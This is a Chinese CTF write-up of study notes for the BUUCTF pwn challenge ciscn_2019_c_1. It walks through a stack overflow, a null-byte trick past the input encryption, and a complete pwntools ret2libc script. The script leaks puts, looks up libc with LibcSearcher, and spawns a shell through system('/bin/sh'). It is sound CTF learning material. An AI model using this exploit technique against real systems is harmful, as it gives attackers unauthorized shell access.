【BUUCTF - PWN】学习笔记
【BUUCTF - PWN】ciscn_2019_c_1
参考链接【BUUCTF - PWN】ciscn_2019_c_1
0. 安装LibcSearcher
LibcSearcher的安装使用
LibcSearcher
可以安装也可以直接将LibcSearcher.py拿到同一目录下直接使用,安装方式 git clone https://github.com/lieanu/LibcSearcher.git cd LibcSearcher python setup.py develop
- checksec file
- 使用IDA查看文件
发现encrypt函数内存在栈溢出漏洞
由于程序会将输入的内容加密,这会破坏我们的payload,所以注意到strlen函数,通过在payload开头放上 \0 来绕过加密 由于程序内没有后门函数,也没有system函数,所以考虑ret2libc
- 构造payload
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('xxx',xxx)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encrypted\n',payload)
rl()
rl()
puts=u64(ru('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)
io.interactive()
。。。。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】博客园携手 AI 驱动开发工具商 Chat2DB 推出联合终身会员
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET 依赖注入中的 Captive Dependency
· .NET Core 对象分配(Alloc)底层原理浅谈
· 聊一聊 C#异步 任务延续的三种底层玩法
· 敏捷开发:如何高效开每日站会
· 为什么 .NET8线程池 容易引发线程饥饿
· 一个适用于 .NET 的开源整洁架构项目模板
· .NET 9.0 使用 Vulkan API 编写跨平台图形应用
· MyBatis中的 10 个宝藏技巧!
· [.NET] 使用客户端缓存提高API性能
· 终于决定:把自己家的能源管理系统开源了!